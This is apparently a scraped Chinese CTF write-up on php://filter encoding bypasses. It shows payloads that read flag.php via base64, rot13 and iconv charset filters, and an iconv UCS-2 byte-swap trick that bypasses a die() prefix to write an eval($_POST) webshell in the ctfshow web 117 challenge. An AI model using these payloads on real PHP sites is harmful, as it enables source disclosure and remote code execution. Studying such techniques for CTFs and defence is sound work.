当前位置: 首页 > news >正文

CTF题型 php://filter特殊编码绕过小汇总

CTF题型 php://filter特殊编码绕过小汇总

文章目录

  • CTF题型 php://filter特殊编码绕过小汇总
  • 特殊编码
    • base64编码
    • string过滤器
    • iconv字符集
  • 例题
    • 1.[Newstarctf 2023 week2 include]
    • 2.[Ctfshow web 117]

php://filter 是一个伪协议,它允许你读取经过过滤器处理的数据流。过滤器可以执行各种转换,如 base64 编码/解码、字符串压缩/解压缩等

它的存在是数据流和控制流的“中间人”,有点类似我们抓包工具Burp的感觉,我们可以人为进行操控更改数据流
应用范围/特征关键词
在这里插入图片描述
比如readfile(),file(),file_get_content(),include()

特殊编码

  1. base家族

  2. string过滤器

  3. iconv字符集

base64编码

注意php://filter只支持base64

image-20240328220037091

php://filter/convert.base64-encode/resource=flag.php

string过滤器

比较常用的就是rot13

php://filter/string.rot13/resource=flag.php
读取后进行解码
在线工具:https://www.useotools.com/zh/rot13

string.strip_tags从字符串中去除 HTML 和 PHP 标记,php标签里所有东西都会被去除,html只有标签会被去除,里面的文字不会删除

php://filter/string.strip_tags/resource=flag.php

还有大小写的转换,但是基本没什么用

iconv字符集

convert.iconv..

image-20240328201706030

如何理解结构

convert.iconv..

  • input-encoding

    用于解释 string 的当前编码。 数据流 可以识别的字符集

  • to_encoding

    所需的结果编码。 (进行转换的字符集)

UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*

UCS是什么:通用多八位编码字符集

常用的编码绕过

对于小众编码的解码在线网站 https://www.novel.tools/decode/

将flag.php内容解释为UTF-8后转化为UTF-7进行输出

php://filter/convert.iconv.UTF-8.UTF-7/resource=flag.php

将flag.php内容解释为UTF-7后转化为UCS-2进行输出

php://filter/convert.iconv.UTF-7.UCS-2/resource=flag.php

依次类推,编码方法有很多

php://filter/convert.iconv.UTF-7.UCS-4/resource=flag.php

例题

1.[Newstarctf 2023 week2 include]

https://buuoj.cn/match/matches/190/challenges

过滤了base,rot可以用iconv字符集绕过

php://filter/convert.iconv.UTF-7.UCS-4/resource=flag.php

可以直接输出flag

image-20240328143436756

正常一点我们可以用

php://filter/convert.iconv.UTF-8.UTF-7/resource=flag.php

将flag.php内容解释为UTF -8编码识别后转化为UTF-7进行输出

image-20240328201806819

对于小众编码的解码在线网站 https://www.novel.tools/decode/

image-20240328201909257

一样可以得到内容

image-20240328202103745

2.[Ctfshow web 117]

<?php/*
# -*- coding: utf-8 -*-
# @Author: yu22x
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-01 18:16:59*/
highlight_file(__FILE__);
error_reporting(0);
function filter($x){if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){die('too young too simple sometimes naive!');}
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);

非常典型的绕过死亡exit

这里禁止了base64,rot13,string

这里file_put_contents(文件名,部分文件内容可控)显然要我们写马进去

但是不能让<?php die();?>生效,但是要保证php内容可以被解析

iconv编码绕过

实现原理分析:

比如官方的解法:php://filter/write=convert.iconv.ucs-2be.ucs-2le/resource=shell.php

现在我们要写入的数据流是<?php die();?>?<hp pvela$(P_SO[T]1;)>?

但是在真正写入之前php://filter控制了数据流

将数据流数据读取为ucs-2be然后转换ucs-2le后输出写入文件

image-20240328215039452

这样就实现了绕过死亡exit,并且实现了写马

具体做题步骤:

image-20240328213702317

可以实现写入马子

相关文章:

CTF题型 php://filter特殊编码绕过小汇总

CTF题型 php://filter特殊编码绕过小汇总 文章目录 CTF题型 php://filter特殊编码绕过小汇总特殊编码base64编码string过滤器iconv字符集 例题1.[Newstarctf 2023 week2 include]2.[Ctfshow web 117] php://filter 是一个伪协议&#xff0c;它允许你读取经过过滤器处理的数据流…...

【嵌入式智能产品开发实战】(十二)—— 政安晨:通过ARM-Linux掌握基本技能【C语言程序的安装运行】

目录 程序的安装 程序安装的本质 在Linux下制作软件安装包 政安晨的个人主页&#xff1a;政安晨 欢迎 &#x1f44d;点赞✍评论⭐收藏 收录专栏: 嵌入式智能产品开发实战 希望政安晨的博客能够对您有所裨益&#xff0c;如有不足之处&#xff0c;欢迎在评论区提出指正&#xf…...

网络编程的学习1

网络编程 在网络通信协议下&#xff0c;不同计算机上运行的程序&#xff0c;进行数据传输。 三要素 ip&#xff1a;设备在网络中的地址&#xff0c;是唯一的标识。 ipv4:采取32位地址长度&#xff0c;分成4组。 ipv6&#xff1a;采用128位地址长度&#xff0c;分成8组。 …...

spark log4j日志文件动态参数读取

需要在log4j xml文件中设置动态参数&#xff0c;并支持spark任务在集群模式下&#xff0c;动态参数读取正常&#xff1b; 1.log4j配置文件 log4j2.xml <?xml version"1.0" encoding"UTF-8"?> <Configuration status"info" name&quo…...

设计模式,装修模式,Php代码演示,优缺点,注意事项

装饰模式&#xff08;Decorator Pattern&#xff09;是一种结构型设计模式&#xff0c;它允许动态地向一个现有对象添加新的功能或行为&#xff0c;而不改变其原始结构。在 PHP 中&#xff0c;可以使用类的继承和组合来实现装饰模式。下面是一个简单的 PHP 装饰模式示例代码&am…...

ubuntu下vscode ctrl+tab松开ctrl后不自动选中文件

vscode用ctrltab切换文件时&#xff0c;松开ctrl键后会自动选中切换的文件。 但是在ubuntu下发现有时不能自动选中切换的文件&#xff0c;需要再次按enter键才能打开文件。 经过测试发现解决方法有两个&#xff1a; 方法1&#xff1a;确认wayland状态&#xff0c;关闭wayland…...

【云开发笔记No.19】关于中台架构(1)

在云开发领域&#xff0c;中台架构是一种至关重要的组织架构&#xff0c;它为企业提供了一种灵活且高效的方式来应对市场的快速变化。下面将详细阐述中台架构的定义、起源、定位和价值。 中台架构的定义 中台架构是指在企业信息系统中&#xff0c;将业务流程、数据和应用系统…...

对于提高Web安全,WAF能有什么作用

数字化时代&#xff0c;网络安全已经成为了一个不可忽视的重要议题。网络攻击事件频发&#xff0c;各种安全隐患层出不穷&#xff0c;如何有效地保护我们的网络空间&#xff0c;确保信息安全&#xff0c;已成为一项迫切的任务。而Web应用防火墙&#xff0c;正是守护网络安全的一…...

Go 源码之 gin 框架

Go 源码之 gin 框架 go源码之gin - Jxy 博客 一、总结 gin.New()初始化一个实例&#xff1a;gin.engine&#xff0c;该实例实现了http.Handler接口。实现了ServeHTTP方法 注册路由、注册中间件&#xff0c;调用addRoute将路由和中间件注册到 methodTree 前缀树&#xff08;节…...

BM19 寻找峰值(二分查找)

import java.util.*; public class Solution {/*** 代码中的类名、方法名、参数名已经指定&#xff0c;请勿修改&#xff0c;直接返回方法规定的值即可** * param nums int整型一维数组 * return int整型*/public int findPeakElement (int[] nums) {// write code hereint lef…...

4.数组和切片【go】

数组是具有固定数量的元素的序列,而切片是对数组的一个连续片段的引用。切片是Go中常用的数据结构 数组(Array) 数组是一个具有固定长度且元素类型相同的序列。在Go中,数组的长度是其类型的一部分,因此[5]int和[10]int是不同的数组类型。数组的长度在声明时必须指定,并…...

Abaqus周期性边界代表体单元Random Sphere RVE 3D (Mesh)插件

插件介绍 Random Sphere RVE 3D (Mesh) - AbyssFish 插件可在Abaqus生成三维具备周期性边界条件(Periodic Boundary Conditions, PBC)的随机球体骨料及骨料-水泥界面过渡区(Interfacial Transition Zone, ITZ)模型。即采用周期性代表性体积单元法(Periodic Representative Vol…...

家庭记账本(源码+文档)

家庭记账本系统&#xff08;小程序、ios、安卓都可部署&#xff09; 文件包含内容程序简要说明含有功能项目截图客户端我的界面图表明细添加账单登录页明细注册页个人资料 后台管理用户管理后台登录页分类管理 文件包含内容 1、搭建视频 2、流程图 3、开题报告 4、数据库 5、参…...

深度学习评价指标(1):目标检测的评价指标

1. 简述 在计算机视觉/深度学习领域&#xff0c;每一个方向都有属于自己的评价指标。通常在评估一个模型时&#xff0c;只需要计算出相应的评价指标&#xff0c;便可以评估算法的性能。同时&#xff0c;所谓SOTA&#xff0c;皆是基于某一评价指标进行的评估。 接下来&#xff0…...

jmeter性能压测的标准和实战中会遇到的问题

1.性能标准建议 CPU 使用率&#xff1a;不超过 70% 内存使用率&#xff1a;不超过 70% 磁盘&#xff1a;%util到达80%严重繁忙 &#xff08;os.disIO.filesystem.writeKbPS 每秒写入的千字节&#xff09; 响应时间&#xff1a;95%的响应时间不超过8000ms 事务成功率&#xff1a…...

6-82 求链式线性表的倒数第K项

给定一系列正整数,请设计一个尽可能高效的算法,查找倒数第K个位置上的数字。 输入格式: 输入首先给出一个正整数K,随后是若干非负整数,最后以一个负整数表示结尾(该负数不算在序列内,不要处理)。 输出格式: 输出倒数第K个位置上的数据。如果这个位置不存在,输出错误…...

CDH集群hive初始化元数据库失败

oracle数据库操作&#xff1a; 报错如下&#xff1a;命令 (Validate Hive Metastore schema (237)) 已失败 截图如下&#xff1a; 后台日志部分摘录&#xff1a; WARNING: Use “yarn jar” to launch YARN applications. SLF4J: Class path contains multiple SLF4J binding…...

【ESP32S3 Sense接入语音识别+MiniMax模型对话】

1. 前言 围绕ESP32S3 Sense接入语音识别MiniMax模型对话展开&#xff0c;首先串口输入“1”字符&#xff0c;随后麦克风采集2s声音数据&#xff0c;对接百度在线语音识别&#xff0c;将返回文本结果丢入MiniMax模型&#xff0c;进而返回第二次结果文本&#xff0c;实现语言对话…...

【Java初阶(七)】接口

❣博主主页: 33的博客❣ ▶文章专栏分类: Java从入门到精通◀ &#x1f69a;我的代码仓库: 33的代码仓库&#x1f69a; 目录 1.前言2.接口2.1语法规则2.2接口使用2.3接口特性2.4实现多个接口2.5接口使用实例2.6Clonable接口和深拷贝 3.Object类3.1对象比较equals方法3.2hashcod…...

Mac OS上使用matplotlib库显示中文字体

文章目录 问题描述解决步骤参考文章 问题描述 如果我们想要使用matplotlib画图的话&#xff0c;可能会出现下面的这种warning: UserWarning: Glyph 24212 (\N{CJK UNIFIED IDEOGRAPH-5E94}) missing from current font.解决步骤 解决这个问题&#xff0c;可以按照下面的做法…...

IP种子是什么?理解和应用

在网络世界中&#xff0c;IP种子是一个广泛应用于文件共享和网络下载领域的概念。它是一种特殊的标识符&#xff0c;用于识别和连接到基于对等网络&#xff08;P2P&#xff09;协议的文件共享网络中的用户或节点。本文将深入探讨IP种子的含义、作用以及其在网络中的应用。 IP地…...

车载以太网AVB交换机 gptp透明时钟 5口 全千兆 SW1500

全千兆车载以太网交换机 一、产品简要分析 5端口千兆车载以太网交换机&#xff0c;包含4个通道的1000BASE-T1接口使用罗森博格H-MTD和泰科MATEnet双接口&#xff0c;1个通道1000BASE-T标准以太网(RJ45接口)&#xff0c;可以实现车载以太网多通道交换&#xff0c;千兆和百兆车载…...

Can‘t connect to server on ‘localhost‘ (10061)

问题&#xff1a;电脑关机重启后&#xff0c;连接不上mysql了&#xff0c;报错信息如下&#xff1a;2002 - Cant connect to server on localhost (10061)解决办法&#xff1a;很大的原因是mysql服务没有启动&#xff0c;需要你重启一下mysql&#xff1a; 以管理员的身份运行cm…...

虹科Pico汽车示波器 | 免拆诊断案例 | 2018款东风风神AX7车发动机怠速抖动、加速无力

一、故障现象 一辆2018款东风风神AX7车&#xff0c;搭载10UF01发动机&#xff0c;累计行驶里程约为5.3万km。该车因发动机怠速抖动、加速无力及发动机故障灯异常点亮而进厂维修&#xff0c;维修人员用故障检测仪检测&#xff0c;提示气缸3失火&#xff1b;与其他气缸对调点火线…...

zookeeper如何管理客户端与服务端之间的链接?(zookeeper sessions)

zookeeper客户端与服务端之间的链接用zookeeper session表示。 zookeeper session有三个状态&#xff1a; CONNECTING, ASSOCIATING, CONNECTED, CONNECTEDREADONLY, CLOSED, AUTH_FAILED, NOT_CONNECTED&#xff08;start时的状态&#xff09; 1、CONNECTING 。 表明客户…...

【Java多线程】7——阻塞队列线程池

7 线程池 ⭐⭐⭐⭐⭐⭐ Github主页&#x1f449;https://github.com/A-BigTree 笔记仓库&#x1f449;https://github.com/A-BigTree/tree-learning-notes 个人主页&#x1f449;https://www.abigtree.top ⭐⭐⭐⭐⭐⭐ 如果可以&#xff0c;麻烦各位看官顺手点个star~&#x…...

同步复位和异步复位的优缺点

同步复位 优点&#xff1a;能确保电路是100%的&#xff1b; 同步复位可以综合处更小的触发器&#xff1b; 可以保证复位只发生在有效时钟边沿&#xff0c;过滤掉复位信号毛刺&#xff1b; 内部逻辑产生的复位信号&#xff0c;采用同步复位可以有效过滤掉毛刺。 缺点&#xff1a…...

Code Review(代码审查)

代码审查是软件开发生命周期的重要组成部分。它能显著提高开发人员的代码质量。 这个过程就像写一本书。作者写好了内容&#xff0c;出版社编辑对其进行了校审&#xff0c;所以没有出现任何错误&#xff0c;例如将“你”与“你的”混淆。这个案例中&#xff0c;代码审查是阅读…...

《拆解一切问题》如何成为解决难题的高手 - 三余书屋 3ysw.net

拆解一切问题&#xff1a;如何成为解决难题的高手 今天给大家分享的这本书叫做《拆解一切问题》&#xff0c;标题看起来确实有点虚&#xff0c;在没有读这本书之前&#xff0c;会让人感觉似乎只要读完学会书中的内容&#xff0c;就可以解决一切问题了。但事实上这种认识是误解…...

matlab——基于三维激光扫描点云的树冠体积计算方法

目录 一、算法原理1、原理概述2、参考文献二、代码实现三、结果展示本文由CSDN点云侠原创,原文链接。如果你不是在点云侠的博客中看到该文章,那么此处便是不要脸的爬虫与GPT。 一、算法原理 1、原理概述 针对树冠形状不规则,树冠体积难以测量和计算的问题,提出一种基于三…...

网站建设沈阳/关键词指数

作者&#xff1a;小傅哥 博客&#xff1a;https://bugstack.cn 沉淀、分享、成长&#xff0c;让自己和他人都能有所收获&#xff01;&#x1f604; 一、前言 为什么&#xff0c;读不懂框架源码&#xff1f; 我们都知道作为一个程序员&#xff0c;如果想学习到更深层次的技术&…...

网站备案核实/seo日常工作内容

更新范围 文档页眉页脚设置文档标题与文件名称保持一致。段落格式文档字体统一。(通常是宋体)文档字体: 大小要求,行距要求表格,自适应纸张大小。(待完善)文档目录更新。删除文档作者信息。设置文档仅查看。检查清单2方案3其他问题文档页眉页脚设置 页眉:不同的章节显…...

阿里云的云服务器做网站用哪种/互联网关键词优化

经常使用安卓手机的小伙伴&#xff0c;很多人应该都发现了&#xff1a;不少安卓手机上有一款名叫“便签”的app软件。这是手机系统自带的记事备忘小工具&#xff0c;无需下载安装&#xff0c;在手机桌面上找到它并点击&#xff0c;即可打开记录备忘内容&#xff0c;很方便&…...

具有口碑的柳州网站建设哪家好/seo优化搜索推广

P4231 三步必杀 差分数组差分数组一看等差数列思路就往奇怪的地方去了……突然想到常数列前缀和就是等差又想到上周D1T1后缀和的后缀和就是类似的东西所以在题目明显暗示差分的情况下做一下差分的差分然后由于最后求前缀和只需要1&#xff5e;n所以就只需要每次在差分数组上修改…...

预付网站建设费用怎么做分录/怎么创建网站

朋友们&#xff0c;如需转载请标明出处&#xff1a;https://blog.csdn.net/jiangjunshow 声明&#xff1a;在人工智能技术教学期间&#xff0c;不少学生向我提一些python相关的问题&#xff0c;所以为了让同学们掌握更多扩展知识更好的理解人工智能技术&#xff0c;我让助理负…...

重庆活动轨迹公布/权威seo技术

前言可能很多小伙伴们都知道&#xff0c;在一般互联企业初期大多数都是采用手工打包上传与发布的方式进行代码发布&#xff0c;常见就是利用打包工具手工打包&#xff0c;上传到WEB服务器&#xff0c;备份原代码文件&#xff0c;发布新的代码&#xff0c;重启服务和检测是否发布…...